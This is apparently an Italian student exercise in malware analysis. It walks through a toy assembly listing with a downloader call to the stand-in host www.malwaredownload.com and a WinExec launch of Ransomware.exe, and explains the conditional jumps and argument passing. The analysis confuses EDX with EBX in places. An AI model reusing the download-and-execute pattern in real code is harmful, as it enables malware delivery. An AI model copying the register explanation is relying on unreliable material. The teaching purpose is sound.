ANALISI MALWARE

L'esercizio di oggi ci chiede di analizzare il codice riportato qui di seguito.

Dobbiamo spiegare quale salto condizionale effettua il malware poi ci richiede di disegnare un diagramma di flusso indicando i salti condizionali, le diverse funzionalità implementate all'interno del malware e infine dettagliare come sono passati gli argomenti alle successione chiamate di funzione alle istruzioni call

TABELLA 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

TABELLA 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

TABELLA 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

SALTO CONDIZIONALE EFFETUATO DAL MALWARE

Analizzando il codice ripotato sopra possiamo dire che il codice effettua il salto JZ LOC 0040FFA0 che fa riferimento alla tabella 3.

Il valore di EAX all'inizio del codice è di 5 perché con l'istruzione mov andiamo a copiare 5 dentro EAX,mentre il valore di EDX è di 10 perché come per EAX l'istruzione mov coppia 10 dentro il registro EDX.

Il malware non farà il primo salto JNZ LOC 0040BBA0 perché con l'istruzione cmp il codice fa una comparazione di EAX con 5 e quindi se la destinazione è uguale alla sorgente il flag ZF viene settato ad 1 mentre il flag CF viene settato a 0. Il salto condizionale JNZ ci dice di saltare alla locazione di memoria specificata se ZF non è settato ad 1 ovvero è 0.

Nel nostro caso come spiegato in precedenza il valore di ZF è 1 quindi il malware continuerà con il flusso del codice.

Arrivati al secondo jamp JZ 0040FFA0 andiamo sempre a fare una comparazione di EDX con 11, in questo caso il salto condizionale viene effettuato perché JZ ci dice che se ZF è uguale a 1 salta alla locazione di memoria specificata e quindi salterà alla tabella 3.

Come abbiamo detto all'inizio il valore di EDX è di 10 ma come possiamo vedere dal codice sopra con l'istruzione inc il programma va ad incrementare il valore di EDX di uno e quindi da 10 passa ad 11 e sempre come abbiamo spiegato in precedenza se la destinazione è uguale alla sorgente il flag ZF viene settato ad 1 ecco perché il malware farà il jump JZ 0040FFA0

DIAGRAMMA DI FLUSSO

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Freccia rossa indica che il salto condizionato non viene effettuato

Una freccia verde indica che il salto condizionato viene effettuato

FUNZIONALITA' IMPLEMENTATE

Le funzionalità implementate all'interno del malware sono due nella tabella 2 possiamo trovare un downloader e nella tabella 3 troviamo un ransomware

Il downloaded è un programma che scarica da internet un malware oppure con componete di esso e lo esegue sul sistema target, possiamo identificare un downloader perché utilizzare l API URLDOWNLOADTOFILE e come possiamo vedere dal codice riportato qui sotto vediamo che tra i parametri della funzione viene inserito un URL al quale il malware si collegherà per scaricare il contenuto malevolo

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella tabella possiamo notare che la funzionalità del malware è un ransomware.

Il ransomware è un malware che minaccia di distruggere o trattenere i dati o file della vittima , ameno che non venga pagato un riscatto all'aggressore per dicrittografare e ripristinare l'accesso ai dati

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

l’ultimo punto fa riferimento alle istruzioni call presenti in tabella 2 e 3 e ci chiede di dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

l’ argomento passato nella funzione DownloadToFile è passato tramite l’istruzione push del registro EAX dove al suo interno troviamo l’URL da dove viene scaricato il malware, e come possiamo vedere della foto sotto EDI contiene l’URL che tramite l’istruzione mov viene copiato nel registro EAX che successivamente EAX viene passato come parametro alla funzione DownloadToFile

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

alla funzione WINEXEC il parametro viene passato come spiegato in precedenza sempre con la stessa modalità della prima con l’istruzione push il registro EDX che al suo interno contiene il path del malware come vediamo in figura qui sotto

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione